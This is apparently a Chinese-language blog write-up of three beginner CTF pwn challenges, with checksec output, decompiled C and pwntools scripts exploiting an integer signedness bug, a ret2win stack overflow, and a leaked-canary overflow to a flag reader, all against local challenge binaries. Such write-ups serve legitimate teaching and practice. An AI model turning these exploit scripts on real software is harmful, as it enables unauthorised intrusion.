1423 words
7 minutes
2026第一周wp
2026-09-10

题外话#

现在我做封面的技术真的是炉火纯青了

听v我写的进度很慢,听方大同写的速度就很快

所以拜拜,洛小妹

灯神的愿望#

checksec

Terminal window
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

PIE开了说明要找地方泄露地址了

来看main函数逻辑

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-7Ch] BYREF
int v4; // [rsp+8h] [rbp-78h] BYREF
unsigned int v5; // [rsp+Ch] [rbp-74h]
_BYTE v6[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
v5 = 1;
init(argc, argv, envp);
puts("Hello, dear pwner! I am Genie Lamp!");
puts("You can only make ONE wish.");
puts("What do you want?");
while ( 1 )
{
while ( 1 )
{
puts(&byte_2082);
puts("1. Make more wishes");
puts("2. Make a normal wish");
puts("3. Get flag");
printf("> ");
__isoc99_scanf("%d", &v3);
if ( v3 != 1 )
break;
puts("How many wishes do you want?");
__isoc99_scanf("%d", &v4);
if ( v4 > 0 )
{
puts("Sorry, you can't increase wishes.");
exit(0);
}
v5 = v4;
printf("You can still make %u wishes!\n", v4);
}
if ( v3 == 2 )
break;
if ( v3 == 3 )
{
if ( v5 <= 0x1BF51 )
puts("Your wishes are not enough...");
else
win();
exit(0);
}
puts("Invalid choice!");
}
puts("Tell me your wish:");
__isoc99_scanf("%99s", v6);
puts("Your wish has been granted!");
exit(0);
}

分析逻辑

第一轮输入v3

v3 == 1:

输入v4,v4大于0退出,小于0赋值给v5,打印v4

v3 == 2:

退出

v3 == 3:

如果v5的值小于等于1BF51则退出,大于则win()

看一眼逻辑

int win()
{
puts("Your endless wishes come true!");
return system("/bin/sh");
}

ok,那我们现在的目标就是找到方法让v4赋值给他,不过提示很明显了,给一个负数就结束战斗了

Terminal window
pwndbg> c
Continuing.
Hello, dear pwner! I am Genie Lamp!
You can only make ONE wish.
What do you want?
1. Make more wishes
2. Make a normal wish
3. Get flag
> 2
Tell me your wish:
-1
Your wish has been granted!
[Inferior 1 (process 9372) exited normally]
pwndbg>

payload

from pwn import *
p = process('./pwn')
p.recvuntil(b"> ")
p.sendline(b'1')
p.recvuntil(b"How many wishes do you want?")
p.sendline(b'-1')
p.interactive()
Terminal window
python3 reslo.py
[+] Starting local process './pwn': pid 9957
[*] Switching to interactive mode
You can still make 4294967295 wishes!
1. Make more wishes
2. Make a normal wish
3. Get flag
> $ 3
Your endless wishes come true!

百万英镑#

checksec

Terminal window
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

没有canary和PIE

看main

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE v4[103]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int8 v5; // [rsp+67h] [rbp-9h]
unsigned __int64 number; // [rsp+68h] [rbp-8h]
initialise();
puts("== million pound ==");
puts("I want one fine million-pound cheque,");
puts("one brand-new million-pound cheque,");
puts("all the exquisite million-pound cheques,");
puts("a few more million-pound cheques on top,");
puts("and another million-pound cheque fresh off the press.");
puts("That is rather a lot of cheques, sir.");
printf("How many should I prepare? ");
number = read_number();
v5 = cheque_bytes(number);
if ( v5 <= 0x60u )
{
printf("What would you like written, sir? ");
read_exact(0, v4, 8 * number);
puts("Very good, sir.");
}
else
{
puts("That would draw too much attention, sir.");
}
return 0;
}

然后看functions表

查看老演员staff room

int staff_room()
{
char *argv[2]; // [rsp+0h] [rbp-10h] BYREF
argv[0] = "/bin/sh";
argv[1] = 0;
return execve("/bin/sh", argv, 0);
}

ok现在归纳一下逻辑思路

第一轮输入决定长度,第二轮输入决定内容

长度限制为0x60,内容可输入8*长度

v4的长度为103,位于7*16=112

且8x6x16明显大于112,所以我可以造一个栈溢出来跳转

payload=112+8(saved rbp) + 地址

由于长度,我们可以设一个大一点的剩下没利用的字节就利用垃圾数据填充

from pwn import *
# p = remote("127.0.0.1", 51742)
p = process('./million-pound')
p.recvuntil(b'How many should I prepare? ')
p.sendline(b'32')
win = 0x401394
payload = b'A' * 120 + p64(win)
p.recvuntil(b'What would you like written, sir? ')
payload += b'B' * (256 - len(payload))
p.send(payload)
p.interactive()

校庆抽奖后台#

checksec

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

开PIE说明要去找地方泄露真实地址了,哦对了,还有四凤金丝雀

再看main函数逻辑

int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
unsigned __int16 v5; // [rsp+6h] [rbp-Ah] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x1Eu);
puts("=== Anniversary Lottery Admin Debug ===");
v3 = stack_guard();
printf("[trace] active record: %p :: 0x%016lx\n", award_jackpot, v3);
puts("[lottery] Submit a two-byte little-endian claim packet length.");
puts("[lottery] Send claim packet:");
read_exact((char *)&v5, 2u);
if ( v5 && v5 <= 0x100u )
{
submit_claim(v5);
return 0;
}
else
{
puts("[lottery] Invalid claim packet length.");
return 0;
}
}

点击award_jackpot去看逻辑

unsigned __int64 award_jackpot()
{
int fd; // [rsp+4h] [rbp-9Ch]
ssize_t n; // [rsp+8h] [rbp-98h]
_QWORD buf[17]; // [rsp+10h] [rbp-90h] BYREF _QWORD 在 64 位程序中表示 8 字节。buf[17] 的总大小 = 17 × 8 = 136 字节。read 的长度参数 0x7F = 127 字节。
unsigned __int64 v4; // [rsp+98h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(buf, 0, 128);
fd = open("/flag", 0);
if ( fd < 0 )
{
puts("[lottery] Prize record unavailable.");
exit(1);
}
n = read(fd, buf, 0x7Fu);
if ( n > 0 )
{
write(1, "[lottery] Jackpot awarded: ", 0x1Bu);
write(1, buf, n);
}
close(fd);
return v4 - __readfsqword(0x28u);
}

这不都有flag了吗,

现在是11.41分经过了一段时间的水群以及观察函数逻辑之后,我并没有发现漏洞函数

核心问题

submit_claim 的参数 a1 类型是 size_t,但在 main 中传入的是 v5,而 v5 是 unsigned __int16(2 字节)。这里发生了整数提升/零扩展:v5 的值(0~65535)被转换为 size_t(64 位无符号)时,高位补 0,因此 a1 的值就等于 v5 的值。

我的理解是v5传递进去之后取了他的长度,但是明显是错误的,可能睡觉时间要到的人就昏头了吧(

v5的长度是又我决定,而v2只有72字节,那不就大大方方栈溢出了

而且main函数还有自杀式的打印真实地址+金丝雀的行为,拿条件都符合条件了

现在算payload

payload = 72 + canary+ + savedrbp + 后门地址

exp

from pwn import *
context.arch = "amd64"
context.log_level = "info"
p = remote("127.0.0.1", 63440)
p.recvuntil(b"[trace] active record: ")
leak = p.recvline().strip()
log.info(f"leak line: {leak}")
win = int(leak.split(b" ::")[0], 16)
canary = int(leak.split(b":: 0x")[1], 16)
log.success(f"win = {hex(win)}")
log.success(f"canary = {hex(canary)}")
p.recvuntil(b"[lottery] Send claim packet:")
size = 0x60
p.send(p16(size))
payload = b'A' * 72 + p64(canary) + b'A' * 8 + p64(win)
p.send(payload)
p.interactive()

你别说,加log还能看是哪出问题的

晚安,周末有事,估计暂时更新不了了

2026第一周wp
https://dxfaker.top/posts/26moe3/
Author
dxfaker
Published at
2026-09-10
License
CC BY-NC-SA 4.0

Some information may be outdated